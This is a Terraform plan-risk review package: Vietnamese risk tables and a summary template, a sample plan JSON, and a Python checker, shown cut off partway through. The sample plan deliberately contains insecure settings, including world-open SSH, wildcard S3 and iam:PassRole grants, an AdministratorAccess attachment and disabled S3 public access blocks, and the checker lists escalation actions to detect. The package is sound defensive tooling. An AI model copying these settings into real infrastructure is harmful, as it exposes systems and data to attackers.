| IAM_WIDENED | LOW | bản cập nhật thêm các hành động hoặc tài nguyên vào một chính sách | sự phìnhto quyền hạn (permission creep) | xác nhận với chủ sở hữu |
| TRUST_WIDENED | MEDIUM | có thêm các định danh (principals) mới trong chính sách tin cậy | quyền truy cập chéo tài khoản (cross-account) mới | xác nhận từng định danh (principal) |
| NO_FINAL_SNAPSHOT | MEDIUM | `skip_final_snapshot = true` trên RDS/Aurora/DocumentDB/Neptune/Redshift | khi xóa sẽ không để lại gì để khôi phục | đặt `false` + `final_snapshot_identifier` |
| FORCE_DESTROY | MEDIUM | `force_destroy = true` mới được thiết lập | việc xóa sẽ quét sạch toàn bộ các đối tượng (objects) hoặc bản ghi (records) | giữ giá trị false trên dữ liệu thực |
| ENCRYPTION_OFF | MEDIUM | `storage_encrypted`/`encrypted` có giá trị false | vấn đề tuân thủ; việc bật tính năng này về sau thường buộc phải thay thế tài nguyên | bật ngay bây giờ |
| BACKUPS_OFF | MEDIUM | `backup_retention_period = 0` | không thể khôi phục tại một thời điểm (point-in-time recovery) | đặt từ 7 đến 35 ngày |
| SECRET_REGENERATED | MEDIUM | thay thế `random_password`, `random_string`, `tls_private_key`, `aws_iam_access_key` | các hệ thống sử dụng (consumers) sẽ bị lỗi | lên kế hoạch xoay vòng khóa (rotation) |
| COUNT_INDEX_SHIFT | MEDIUM | `delete_because_count_index` | việc xóa một mục ở giữa sẽ hủy và tạo lại các mục đứng sau nó | dùng `for_each` với các khóa ổn định, dùng các khối `moved` |
| DESTROY | MEDIUM (máy tính/compute, LB, IP, cụm/cluster, xóa khỏi count/each) / LOW | hủy tài nguyên không lưu trạng thái (non-stateful) | thời gian ngừng hoạt động (downtime), mất địa chỉ IP | xác nhận ý định; dùng `moved` khi tái cấu trúc |
| REPLACE | MEDIUM (hủy trước đối với compute/LB) / LOW | thay thế tài nguyên không lưu trạng thái (non-stateful) | ID mới, IP mới, tên DNS mới; khoảng trống thời gian ngừng hoạt động (downtime gap) | dùng `create_before_destroy`, kiểm tra các thành phần phụ thuộc |
| PUBLIC_FUNCTION_URL | MEDIUM | Lambda URL với xác thực NONE | điểm cuối công khai | dùng xác thực AWS_IAM |
| PLAN_ERRORED / PLAN_INCOMPLETE | HIGH / MEDIUM | `errored` / `complete: false` | bức tranh không đầy đủ | lập lại bản kế hoạch (re-plan) |
| DRIFT, REMOVED_FROM_CONFIG, MOVED, IMPORT, FORGET, POLICY_UNKNOWN, TEXT_MODE | INFO | ngữ cảnh | | |
## Kết luận đánh giá (Verdict)
- Có bất kỳ mức HIGH nào: không áp dụng cho đến khi từng rủi ro mức HIGH được khắc phục hoặc được chủ sở hữu chấp nhận một cách rõ ràng (ghi rõ tên và lý do trong bản đánh giá).
- Chỉ có mức MEDIUM: áp dụng sau khi chủ sở hữu của từng tài nguyên bị ảnh hưởng đồng ý.
- Chỉ có mức LOW/INFO: đánh giá bình thường.
## Những điều cần kiểm tra thủ công
- **Phạm vi ảnh hưởng (Blast radius):** có bao nhiêu tài nguyên thay đổi, và tất cả chúng có nằm trong dự kiến từ phần chênh lệch mã nguồn (code diff) hay không? Một thay đổi chỉ một dòng nhưng thay thế tới 40 tài nguyên là một dấu hiệu cảnh báo đỏ (nâng cấp nhà cung cấp, thay đổi `name`, chuyển từ `count` sang `for_each`).
- **Thứ tự và thời gian ngừng hoạt động:** các thao tác thay thế theo kiểu hủy trước (destroy-first) đối với bất kỳ thành phần nào đang phục vụ lưu lượng truy cập; TTL của DNS; hoán đổi nhóm đích (target group).
- **Di chuyển dữ liệu:** một cơ sở dữ liệu bị thay thế cần được khôi phục từ bản chụp nhanh (snapshot) hoặc có kế hoạch di chuyển dữ liệu; Terraform sẽ không sao chép dữ liệu.
- **Các giá trị chưa xác định:** các chính sách hoặc quy tắc nhóm bảo mật (security group) ở trạng thái `known after apply` - thay vào đó hãy xem xét mã nguồn của module.
- **Nâng cấp nhà cung cấp (provider) và module:** đọc nhật ký thay đổi (changelog) để biết các trường hợp buộc phải thay thế và các thay đổi về giá trị mặc định.
- **Môi trường:** xác nhận workspace/backend (`terraform workspace show`) và tài khoản (`aws sts get-caller-identity`) trước khi áp dụng.
- **Chính sách dưới dạng mã (Policy as code):** các quy tắc OPA/Conftest, Sentinel, Checkov hoặc tfsec có thể thực thi các kiểm tra mức HIGH trong CI.
FILE:templates/plan-risk-summary.md
# Tóm tắt rủi ro bản kế hoạch Terraform: <stack / workspace>
**Thay đổi:** <PR #123 "Mã hóa DB đơn hàng, mở bastion cho nhà cung cấp"> **Workspace/tài khoản:** <prod / 123456789012 eu-west-1>
**Bản kế hoạch (Plan):** <terraform 1.9.8, plan.out từ lần chạy CI 4567> **Số lượng:** <2 tạo mới, 4 cập nhật, 2 thay thế, 2 hủy>
**Kết luận:** <KHÔNG ÁP DỤNG nguyên trạng / Áp dụng sau khi xem xét / Rủi ro thấp>
## Phải khắc phục hoặc chấp nhận rõ ràng (HIGH)
| # | Tài nguyên | Rủi ro | Lý do | Cách khắc phục hoặc chấp nhận (ai) |
|---|---|---|---|---|
| 1 | <`aws_db_instance.orders`> | <DATA_LOSS: bị thay thế vì storage_encrypted đã thay đổi> | <DB mới trống rỗng; không có bản chụp nhanh cuối cùng (final snapshot)> | <chụp snapshot, khôi phục vào bản sao đã mã hóa, chuyển đổi bằng bản kế hoạch moved/import> |
## Cần chủ sở hữu xem xét (MEDIUM)
| # | Tài nguyên | Rủi ro | Chủ sở hữu đồng ý? |
|---|---|---|---|
| 1 | <`aws_instance.web[1]`> | <COUNT_INDEX_SHIFT> | <có/không> |
## Thấp / thông tin (Low / info)
- <IAM_WIDENED trên ci_deploy: s3:* - được thay thế bằng các hành động tường minh trong bản sửa lỗi>
- <Drift trên các thẻ (tags) của aws_lb.public: được thiết lập trong bảng điều khiển (console) bởi ...>
## Thay đổi dự kiến so với ngoài dự kiến
- Dự kiến từ phần chênh lệch mã nguồn (code diff): <...>
- Không được giải thích bởi phần chênh lệch mã nguồn: <... điều tra trước khi áp dụng>
## Kế hoạch áp dụng (Apply plan)
1. <Tạo bản chụp nhanh (snapshot) `orders-pre-encrypt-2026-10-27`>
2. <Áp dụng trong khung thời gian bảo trì: <thời gian, múi giờ>>
3. <Xác minh: kiểm tra sức khỏe ứng dụng (health checks), `aws rds describe-db-instances`, bastion chỉ truy cập được từ VPN>
4. Hoàn tác (Rollback): <khôi phục bản chụp nhanh / hoàn tác PR và áp dụng lại>
## Các việc cần làm tiếp theo (Follow-ups)
- <thêm prevent_destroy vào các kho dữ liệu>
- <thêm quy tắc policy-as-code cho 0.0.0.0/0 trên cổng 22>
FILE:examples/shop-prod-plan.json
{
"format_version": "1.2",
"terraform_version": "1.9.8",
"planned_values": {"root_module": {}},
"resource_drift": [
{
"address": "aws_lb.public",
"mode": "managed",
"type": "aws_lb",
"name": "public",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["update"],
"before": {"name": "shop-public", "tags": {"env": "prod"}},
"after": {"name": "shop-public", "tags": {"env": "prod", "owner": "set-in-console"}},
"after_unknown": {},
"before_sensitive": {},
"after_sensitive": {}
}
}
],
"resource_changes": [
{
"address": "aws_cloudwatch_log_group.app",
"mode": "managed",
"type": "aws_cloudwatch_log_group",
"name": "app",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["create"],
"before": null,
"after": {"name": "/shop/app", "retention_in_days": 30, "tags": {"env": "prod"}},
"after_unknown": {"arn": true, "id": true},
"before_sensitive": false,
"after_sensitive": {}
}
},
{
"address": "aws_db_instance.orders",
"mode": "managed",
"type": "aws_db_instance",
"name": "orders",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["delete", "create"],
"before": {"identifier": "shop-orders", "engine": "postgres", "engine_version": "16.4", "instance_class": "db.t4g.medium", "allocated_storage": 100, "storage_encrypted": false, "deletion_protection": false, "skip_final_snapshot": true, "backup_retention_period": 7, "publicly_accessible": false, "username": "orders_admin", "password": null, "tags": {"env": "prod"}},
"after": {"identifier": "shop-orders", "engine": "postgres", "engine_version": "16.4", "instance_class": "db.t4g.medium", "allocated_storage": 100, "storage_encrypted": true, "deletion_protection": false, "skip_final_snapshot": true, "backup_retention_period": 7, "publicly_accessible": false, "username": "orders_admin", "password": null, "tags": {"env": "prod"}, "kms_key_id": null},
"after_unknown": {"id": true, "arn": true, "endpoint": true, "address": true},
"before_sensitive": {"password": true},
"after_sensitive": {"password": true},
"replace_paths": [["storage_encrypted"]]
},
"action_reason": "replace_because_cannot_update"
},
{
"address": "aws_iam_role_policy.ci_deploy",
"mode": "managed",
"type": "aws_iam_role_policy",
"name": "ci_deploy",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["update"],
"before": {"id": "shop-ci:deploy", "name": "deploy", "role": "shop-ci", "policy": "{\"Version\": \"2012-10-17\", \"Statement\": [{\"Sid\": \"Deploy\", \"Effect\": \"Allow\", \"Action\": [\"s3:PutObject\", \"s3:GetObject\"], \"Resource\": \"arn:aws:s3:::shop-assets-prod/*\"}]}"},
"after": {"id": "shop-ci:deploy", "name": "deploy", "role": "shop-ci", "policy": "{\"Version\": \"2012-10-17\", \"Statement\": [{\"Sid\": \"Deploy\", \"Effect\": \"Allow\", \"Action\": \"s3:*\", \"Resource\": [\"arn:aws:s3:::shop-assets-prod\", \"arn:aws:s3:::shop-assets-prod/*\"]}, {\"Sid\": \"PassAnyRole\", \"Effect\": \"Allow\", \"Action\": \"iam:PassRole\", \"Resource\": \"*\"}]}"},
"after_unknown": {},
"before_sensitive": {},
"after_sensitive": {}
}
},
{
"address": "aws_iam_role_policy_attachment.ops_admin",
"mode": "managed",
"type": "aws_iam_role_policy_attachment",
"name": "ops_admin",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["create"],
"before": null,
"after": {"role": "shop-ops", "policy_arn": "arn:aws:iam::aws:policy/AdministratorAccess"},
"after_unknown": {"id": true},
"before_sensitive": false,
"after_sensitive": {}
}
},
{
"address": "aws_instance.web[1]",
"mode": "managed",
"type": "aws_instance",
"name": "web",
"index": 1,
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["delete"],
"before": {"id": "i-0b1c2d3e4f5a6b7c8", "ami": "ami-0abc1234def567890", "instance_type": "t3.medium", "associate_public_ip_address": false, "tags": {"Name": "shop-web-1"}},
"after": null,
"after_unknown": {},
"before_sensitive": {},
"after_sensitive": false
},
"action_reason": "delete_because_count_index"
},
{
"address": "aws_lb.public",
"mode": "managed",
"type": "aws_lb",
"name": "public",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["update"],
"before": {"name": "shop-public", "internal": false, "enable_deletion_protection": true, "tags": {"env": "prod", "owner": "set-in-console"}},
"after": {"name": "shop-public", "internal": false, "enable_deletion_protection": true, "tags": {"env": "prod", "team": "shop"}},
"after_unknown": {},
"before_sensitive": {},
"after_sensitive": {}
}
},
{
"address": "aws_lb_target_group.web",
"mode": "managed",
"type": "aws_lb_target_group",
"name": "web",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["create", "delete"],
"before": {"name_prefix": "web-", "port": 8080, "protocol": "HTTP", "vpc_id": "vpc-0a1b2c3d"},
"after": {"name_prefix": "web-", "port": 8081, "protocol": "HTTP", "vpc_id": "vpc-0a1b2c3d"},
"after_unknown": {"id": true, "arn": true, "name": true},
"before_sensitive": {},
"after_sensitive": {},
"replace_paths": [["port"]]
},
"action_reason": "replace_because_cannot_update"
},
{
"address": "aws_s3_bucket.legacy_logs",
"mode": "managed",
"type": "aws_s3_bucket",
"name": "legacy_logs",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["delete"],
"before": {"bucket": "shop-legacy-logs-prod", "force_destroy": true, "tags": {"env": "prod"}},
"after": null,
"after_unknown": {},
"before_sensitive": {},
"after_sensitive": false
},
"action_reason": "delete_because_no_resource_config"
},
{
"address": "aws_s3_bucket_public_access_block.assets",
"mode": "managed",
"type": "aws_s3_bucket_public_access_block",
"name": "assets",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["update"],
"before": {"bucket": "shop-assets-prod", "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true},
"after": {"bucket": "shop-assets-prod", "block_public_acls": true, "block_public_policy": false, "ignore_public_acls": true, "restrict_public_buckets": false},
"after_unknown": {},
"before_sensitive": {},
"after_sensitive": {}
}
},
{
"address": "aws_security_group.bastion",
"mode": "managed",
"type": "aws_security_group",
"name": "bastion",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["update"],
"before": {"name": "shop-bastion", "ingress": [{"cidr_blocks": ["10.20.0.0/16"], "description": "SSH from VPN", "from_port": 22, "to_port": 22, "protocol": "tcp", "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [], "self": false}], "egress": []},
"after": {"name": "shop-bastion", "ingress": [{"cidr_blocks": ["10.20.0.0/16"], "description": "SSH from VPN", "from_port": 22, "to_port": 22, "protocol": "tcp", "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [], "self": false}, {"cidr_blocks": ["0.0.0.0/0"], "description": "temp: SSH for vendor", "from_port": 22, "to_port": 22, "protocol": "tcp", "ipv6_cidr_blocks": [], "prefix_list_ids": [], "security_groups": [], "self": false}], "egress": []},
"after_unknown": {},
"before_sensitive": {},
"after_sensitive": {}
}
},
{
"address": "module.network.aws_vpc.main",
"module_address": "module.network",
"mode": "managed",
"type": "aws_vpc",
"name": "main",
"provider_name": "registry.terraform.io/hashicorp/aws",
"change": {
"actions": ["no-op"],
"before": {"cidr_block": "10.20.0.0/16"},
"after": {"cidr_block": "10.20.0.0/16"},
"after_unknown": {},
"before_sensitive": {},
"after_sensitive": {}
}
}
],
"prior_state": {"format_version": "1.0", "terraform_version": "1.9.8"},
"configuration": {"provider_config": {"aws": {"name": "aws", "full_name": "registry.terraform.io/hashicorp/aws"}}},
"timestamp": "2026-10-27T07:10:00Z",
"applyable": true,
"complete": true,
"errored": false
}
FILE:scripts/plan_risk.py
#!/usr/bin/env python3
"""Terraform plan risk reviewer (Python 3 standard library only).
Reads `terraform show -json plan.out` output (or, with less detail, the text of
`terraform plan -no-color`) and flags risky changes: destroys and replacements of
stateful resources (data loss), removed deletion protection, skipped final
snapshots, force_destroy, disabled encryption, new public network exposure
(0.0.0.0/0 or ::/0 ingress, public databases, S3 public access blocks, public ACLs
and policies, allUsers bindings), IAM widening (wildcard actions, admin policies,
iam:PassRole on *, trust policies open to anyone) and count index shifts. Prints a
risk summary. Never prints attribute values that Terraform marks as sensitive.
Usage:
terraform plan -out plan.out && terraform show -json plan.out > plan.json
python3 plan_risk.py plan.json [--json]
terraform plan -no-color > plan.txt && python3 plan_risk.py plan.txt (text mode)
python3 plan_risk.py --self-test
Exit codes: 0 = no HIGH findings, 1 = HIGH findings, 2 = unreadable input.
"""
import argparse, json, re, sys
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2, "INFO": 3}
STATEFUL = re.compile(r"^(aws_(db_instance|rds_cluster|dynamodb_table|s3_bucket|ebs_volume|efs_file_system|"
r"elasticache_(cluster|replication_group)|redshift_cluster|docdb_cluster|neptune_cluster|"
r"opensearch_domain|elasticsearch_domain|kinesis_stream|sqs_queue|kms_key|secretsmanager_secret|"
r"backup_vault|ecr_repository|cloudwatch_log_group|msk_cluster|fsx_\w+|route53_zone|"
r"cognito_user_pool|timestream_table)|"
r"google_(sql_database_instance|sql_database|storage_bucket|bigquery_(dataset|table)|compute_disk|"
r"spanner_(instance|database)|kms_crypto_key|redis_instance|filestore_instance|firestore_database|"
r"dns_managed_zone)|"
r"azurerm_(storage_account|storage_container|mssql_(database|server)|postgresql_flexible_server|"
r"mysql_flexible_server|cosmosdb_account|key_vault|managed_disk|redis_cache|dns_zone)|"
r"kubernetes_(persistent_volume_claim|persistent_volume|namespace)(_v1)?)$")
SECRET_GEN = re.compile(r"^(random_password|random_string|tls_private_key|aws_iam_access_key)$")
DOWNTIME = re.compile(r"^(aws_(instance|lb|alb|eip|nat_gateway|cloudfront_distribution|api_gateway_rest_api|"
r"eks_cluster|ecs_service|acm_certificate)|google_(compute_instance|container_cluster)|"
r"azurerm_(linux|windows)_virtual_machine|azurerm_kubernetes_cluster)$")
SENSITIVE_PORTS = {22: "SSH", 23: "Telnet", 3389: "RDP", 3306: "MySQL", 5432: "PostgreSQL", 1433: "SQL Server",
1521: "Oracle", 6379: "Redis", 27017: "MongoDB", 9200: "Elasticsearch", 5601: "Kibana",
2375: "Docker API", 2379: "etcd", 11211: "Memcached", 5900: "VNC", 9092: "Kafka",
6443: "Kubernetes API", 10250: "Kubelet"}
WEB_PORTS = {80, 443}
PUBLIC_CIDRS = {"0.0.0.0/0", "::/0", "*", "internet", "any"}
ADMIN_POLICIES = re.compile(r"(AdministratorAccess|PowerUserAccess|IAMFullAccess)$")
ESCALATION_ACTIONS = {"iam:*", "iam:passrole", "iam:createpolicyversion", "iam:attachrolepolicy", "iam:putrolepolicy",
"iam:createaccesskey", "iam:updateassumerolepolicy", "sts:assumerole", "sts:*", "kms:*", "*"}
POLICY_ATTRS = ("policy", "assume_role_policy", "inline_policy")
PROTECTION_ATTRS = ("deletion_protection", "deletion_protection_enabled", "enable_deletion_protection",
"termination_protection", "disable_api_termination")
def finding(sev, code, addr, problem, fix):
return {"severity": sev, "code": code, "resource": addr, "problem": problem, "fix": fix}
def kind_of(actions):
a = list(actions or [])
if a == ["delete", "create"]:
return "replace (destroy first)"
if a == ["create", "delete"]:
return "replace (create first)"
return {"create": "create", "update": "update", "delete": "destroy", "no-op": "no-op", "read": "read",
"forget": "forget"}.get(a[0] if len(a) == 1 else ",".join(a), ",".join(a))
def sensitive(mask, key):
return mask is True or (isinstance(mask, dict) and mask.get(key) not in (None, False))
def get(d, key, default=None):
return d.get(key, default) if isinstance(d, dict) else default
def ports_of(lo, hi, proto):
proto = str(proto).lower()
if proto in ("-1", "all", "*"):
return 0, 65535, "all"
try:
lo, hi = int(lo if lo not in (None, "") else 0), int(hi if hi not in (None, "") else 65535)
except (TypeError, ValueError):
return 0, 65535, proto
if proto in ("icmp", "icmpv6", "1", "58"):
return None
if lo in (-1,) or (lo == 0 and hi in (0, 65535)):
return 0, 65535, proto
return lo, hi, proto
def open_rules(rtype, values):
"""Yield (cidr, lo, hi, proto) for internet-open ingress rules in a resource's values."""
v = values or {}
out = set()
def add(cidrs, lo, hi, proto):
p = ports_of(lo, hi, proto)
if p is None:
return
for c in cidrs or []:
if str(c).lower() in PUBLIC_CIDRS:
out.add((str(c), p[0], p[1], p[2]))
if rtype == "aws_security_group":
for r in v.get("ingress") or []:
add((r.get("cidr_blocks") or []) + (r.get("ipv6_cidr_blocks") or []), r.get("from_port"), r.get("to_port"), r.get("protocol"))
elif rtype == "aws_security_group_rule" and v.get("type") == "ingress":
add((v.get("cidr_blocks") or []) + (v.get("ipv6_cidr_blocks") or []), v.get("from_port"), v.get("to_port"), v.get("protocol"))
elif rtype == "aws_vpc_security_group_ingress_rule":
add([x for x in (v.get("cidr_ipv4"), v.get("cidr_ipv6")) if x], v.get("from_port"), v.get("to_port"), v.get("ip_protocol"))
elif rtype == "google_compute_firewall" and str(v.get("direction", "INGRESS")).upper() == "INGRESS":
for al in v.get("allow") or []:
ports = al.get("ports") or ["0-65535"]
for pr in ports:
lo, _, hi = str(pr).partition("-")
add(v.get("source_ranges"), lo, hi or lo, al.get("protocol", "all"))
elif rtype == "azurerm_network_security_rule" and str(v.get("direction")).lower() == "inbound" and str(v.get("access")).lower() == "allow":
src = [v.get("source_address_prefix")] + (v.get("source_address_prefixes") or [])
rng = v.get("destination_port_range") or "*"
for pr in [rng] + (v.get("destination_port_ranges") or []):
if pr == "*":
add(src, 0, 65535, v.get("protocol", "*"))
else:
lo, _, hi = str(pr).partition("-")
add(src, lo, hi or lo, v.get("protocol", "*"))
return out
def port_label(lo, hi, proto):
if proto == "all" or (lo == 0 and hi == 65535):
return "all ports"
names = [f"{p} ({n})" for p, n in SENSITIVE_PORTS.items() if lo <= p <= hi]
rng = str(lo) if lo == hi else f"{lo}-{hi}"
return f"port {rng}" + (f" incl. {', '.join(names[:3])}" if names and lo != hi else (f" ({SENSITIVE_PORTS[lo]})" if lo == hi and lo in SENSITIVE_PORTS else ""))
def parse_policy(doc):
if isinstance(doc, str):
try:
doc = json.loads(doc)
except ValueError:
return None
if not isinstance(doc, dict):
return None
st = doc.get("Statement") or []
return [st] if isinstance(st, dict) else st
def as_list(x):
return x if isinstance(x, list) else ([] if x is None else [x])
def allow_actions(stmts):
acts = set()
for s in stmts or []:
if s.get("Effect", "Allow") != "Allow":
continue
for a in as_list(s.get("Action")):
for r in as_list(s.get("Resource")) or ["(none)"]:
acts.add((str(a), str(r)))
return acts
def check_policy(addr, attr, before, after, unknown):
out = []
if unknown:
return [finding("INFO", "POLICY_UNKNOWN", addr, f"{attr} is only known after apply", "Review the rendered policy after apply or render it with a data source in a separate plan.")]
b, a = parse_policy(before), parse_policy(after)
if a is None:
return out
if attr == "assume_role_policy":
for s in a:
if s.get("Effect", "Allow") != "Allow":
continue
pr = s.get("Principal")
vals = [pr] if isinstance(pr, str) else [v for x in (pr or {}).values() for v in as_list(x)]
if "*" in vals and not s.get("Condition"):
out.append(finding("HIGH", "TRUST_ANYONE", addr, "trust policy lets any AWS principal assume this role (Principal * without Condition)",
"Name the exact account or role ARNs, and add sts:ExternalId or aws:PrincipalOrgID conditions."))
bp = {v for s in (b or []) for x in (get(s, "Principal") or {}).values() for v in as_list(x)} if b and all(isinstance(get(s, "Principal"), dict) for s in b) else set()
ap = {v for s in a if isinstance(s.get("Principal"), dict) for x in s["Principal"].values() for v in as_list(x)}
new = sorted(ap - bp - {"*"})
if b is not None and new:
out.append(finding("MEDIUM", "TRUST_WIDENED", addr, "new principals can assume this role: " + ", ".join(new), "Confirm each new principal is expected (cross-account access?)."))
return out
for s in a:
if s.get("Effect", "Allow") != "Allow":
continue
orig = [str(x) for x in as_list(s.get("Action"))]
acts = [x.lower() for x in orig]
res = [str(x) for x in as_list(s.get("Resource"))]
pr = s.get("Principal")
if pr is not None:
vals = [pr] if isinstance(pr, str) else [v for x in pr.values() for v in as_list(x)]
if "*" in vals and not s.get("Condition"):
out.append(finding("HIGH", "PUBLIC_POLICY", addr, f"resource policy allows Principal * ({', '.join(acts)[:80]}) without a Condition",
"Restrict Principal to known ARNs or add aws:SourceArn / aws:PrincipalOrgID / aws:SourceVpce conditions; use CloudFront OAC for public sites."))
if s.get("NotAction"):
out.append(finding("MEDIUM", "IAM_NOT_ACTION", addr, "Allow with NotAction grants everything except the listed actions", "List the allowed actions explicitly."))
if "*" in acts and "*" in res:
out.append(finding("HIGH", "IAM_ADMIN", addr, "Allow Action * on Resource * (full admin)", "Grant only the actions and resources this principal needs."))
continue
esc = sorted({o for o, x in zip(orig, acts) if x in ESCALATION_ACTIONS and x != "*" and ("*" in res or x in ("iam:*", "sts:*"))})
if esc:
out.append(finding("HIGH", "IAM_ESCALATION", addr, f"{', '.join(esc)} on {', '.join(res) or '*'} lets the holder gain more privileges",
"Scope iam:PassRole and sts:AssumeRole to specific role ARNs (and iam:PassedToService); avoid iam:* and kms:* wildcards."))
wild = sorted({o for o, x in zip(orig, acts) if x.endswith(":*") and x not in ESCALATION_ACTIONS})
if wild:
sev = "HIGH" if "*" in res else "MEDIUM"
out.append(finding(sev, "IAM_WILDCARD", addr, f"service wildcard {', '.join(wild)} on {', '.join(res)}",
"Replace with the specific actions used (check IAM Access Analyzer or CloudTrail for what is actually called)."))
if b is not None:
added = sorted({x[0] + (" on " + x[1] if x[1] not in ("*", "(none)") else " on *") for x in allow_actions(a) - allow_actions(b)})
if added:
out.append(finding("LOW", "IAM_WIDENED", addr, "policy grants new actions/resources: " + ", ".join(added[:8]) + (" ..." if len(added) > 8 else ""),
"Confirm the new permissions are needed; least privilege."))
return out
def review_change(rc):
out = []
addr, rtype = rc.get("address", "?"), rc.get("type", "")
ch = rc.get("change") or {}
actions = ch.get("actions") or []
kind = kind_of(actions)
before, after = ch.get("before") or {}, ch.get("after") or {}
unknown = ch.get("after_unknown") or {}
reason = rc.get("action_reason", "")
if rc.get("mode") == "data" or kind in ("no-op", "read"):
return kind, out
why = ""
if ch.get("replace_paths"):
why = " (forced by " + ", ".join(".".join(map(str, p)) for p in ch["replace_paths"]) + ")"
elif reason:
why = f" ({reason.replace('_', ' ')})"
stateful = bool(STATEFUL.match(rtype))
if kind == "forget":
out.append(finding("INFO", "FORGET", addr, "removed from state but not destroyed (removed block)", "Make sure another configuration or team takes ownership of it."))
if kind == "destroy" or kind.startswith("replace"):
if stateful:
extra = "; force_destroy = true, so everything in it is deleted too" if get(before, "force_destroy") is True else ""
out.append(finding("HIGH", "DATA_LOSS", addr, f"{rtype} will be {'destroyed' if kind == 'destroy' else 'replaced, ' + kind[9:-1]}{why}; its data does not carry over{extra}",
"Back up or snapshot first; if this is a rename/refactor add a `moved` block or `terraform state mv`; add lifecycle prevent_destroy for data stores."))
elif SECRET_GEN.match(rtype) and kind.startswith("replace"):
out.append(finding("MEDIUM", "SECRET_REGENERATED", addr, f"{rtype} will be regenerated{why}; everything using the old value breaks",
"Check what consumes it (database password, keys) and plan the rotation."))
elif kind == "destroy":
sev = "MEDIUM" if DOWNTIME.match(rtype) or reason in ("delete_because_count_index", "delete_because_each_key") else "LOW"
out.append(finding(sev, "DESTROY", addr, f"will be destroyed{why}",
"Confirm it is intended; for a rename/refactor use a `moved` block instead of destroy + create."))
else:
sev = "MEDIUM" if kind == "replace (destroy first)" and DOWNTIME.match(rtype) else "LOW"
out.append(finding(sev, "REPLACE", addr, f"{kind}{why}",
"Expect a new ID/IP/DNS name; use create_before_destroy where possible and check dependents."))
if reason in ("delete_because_count_index",):
out.append(finding("MEDIUM", "COUNT_INDEX_SHIFT", addr, "destroyed because a count index moved (an item was removed from the middle of a list)",
"Switch to for_each with stable keys, or add moved blocks for the shifted indexes."))
if reason == "delete_because_no_resource_config":
out.append(finding("INFO", "REMOVED_FROM_CONFIG", addr, "resource no longer in configuration", "If it moved to another module or address, add a `moved` block; to keep it but stop managing it, use a `removed` block with destroy = false."))
if kind in ("create", "update") or kind.startswith("replace"):
bm, am = ch.get("before_sensitive") or {}, ch.get("after_sensitive") or {}
for attr in PROTECTION_ATTRS:
if get(after, attr) is False and (kind != "update" or get(before, attr) is True):
out.append(finding("HIGH" if kind == "update" else "MEDIUM", "PROTECTION_OFF", addr, f"{attr} {'turned off' if kind == 'update' else 'is false'}",
f"Keep {attr} = true for production resources; turn it off only in a separate, reviewed change right before a planned delete."))
if get(after, "skip_final_snapshot") is True and rtype in ("aws_db_instance", "aws_rds_cluster", "aws_docdb_cluster", "aws_neptune_cluster", "aws_redshift_cluster"):
if kind != "update" or get(before, "skip_final_snapshot") is not True:
out.append(finding("MEDIUM", "NO_FINAL_SNAPSHOT", addr, "skip_final_snapshot = true: a delete leaves no snapshot",
"Set skip_final_snapshot = false with a final_snapshot_identifier."))
if get(after, "force_destroy") is True and (kind != "update" or get(before, "force_destroy") is not True):
out.append(finding("MEDIUM", "FORCE_DESTROY", addr, "force_destroy = true lets Terraform delete the bucket/zone with everything in it",
"Keep force_destroy = false on buckets and zones that hold real data."))
for attr in ("storage_encrypted", "encrypted", "server_side_encryption"):
if get(after, attr) is False and (kind != "update" or get(before, attr) is True):
out.append(finding("MEDIUM", "ENCRYPTION_OFF", addr, f"{attr} = false", "Enable encryption at rest (it usually forces replacement later, so do it now)."))
if get(after, "backup_retention_period") == 0 and get(before, "backup_retention_period", 1) != 0:
out.append(finding("MEDIUM", "BACKUPS_OFF", addr, "backup_retention_period = 0 disables automated backups", "Keep at least 7 days for production databases."))
if get(after, "publicly_accessible") is True and get(before, "publicly_accessible") is not True:
out.append(finding("HIGH", "PUBLIC_DATABASE", addr, "publicly_accessible = true gives the database a public endpoint",
"Keep databases private; connect through a bastion, VPN, SSM or RDS Proxy."))
if rtype == "aws_s3_bucket_public_access_block":
off = [k for k in ("block_public_acls", "block_public_policy", "ignore_public_acls", "restrict_public_buckets")
if get(after, k) is False and (kind != "update" or get(before, k) is not False)]
if off:
out.append(finding("HIGH", "S3_PUBLIC_ACCESS", addr, "S3 public access block turned off: " + ", ".join(off),
"Keep all four settings true; serve public content through CloudFront with Origin Access Control."))
if rtype in ("aws_s3_bucket_acl", "aws_s3_object") and get(after, "acl") in ("public-read", "public-read-write", "authenticated-read"):
out.append(finding("HIGH", "PUBLIC_ACL", addr, f"acl = {after['acl']}", "Use private ACLs (BucketOwnerEnforced) and CloudFront for public files."))
if rtype.startswith("google_") and "iam" in rtype:
members = as_list(get(after, "member")) + as_list(get(after, "members"))
if any(m in ("allUsers", "allAuthenticatedUsers") for m in members):
out.append(finding("HIGH", "PUBLIC_IAM", addr, "grants a role to allUsers/allAuthenticatedUsers", "Grant to specific users, groups or service accounts."))
if get(after, "role") in ("roles/owner", "roles/editor", "roles/iam.securityAdmin"):
out.append(finding("HIGH", "IAM_ADMIN", addr, f"grants {after['role']}", "Use a narrower predefined or custom role."))
if rtype == "azurerm_role_assignment" and get(after, "role_definition_name") in ("Owner", "User Access Administrator", "Contributor"):
sev = "MEDIUM" if after["role_definition_name"] == "Contributor" else "HIGH"
out.append(finding(sev, "IAM_ADMIN", addr, f"assigns {after['role_definition_name']}", "Use the narrowest built-in role at the smallest scope."))
if rtype.startswith("aws_iam_") and rtype.endswith("policy_attachment"):
arn = get(after, "policy_arn") or ""
if ADMIN_POLICIES.search(arn) and get(before, "policy_arn") != arn:
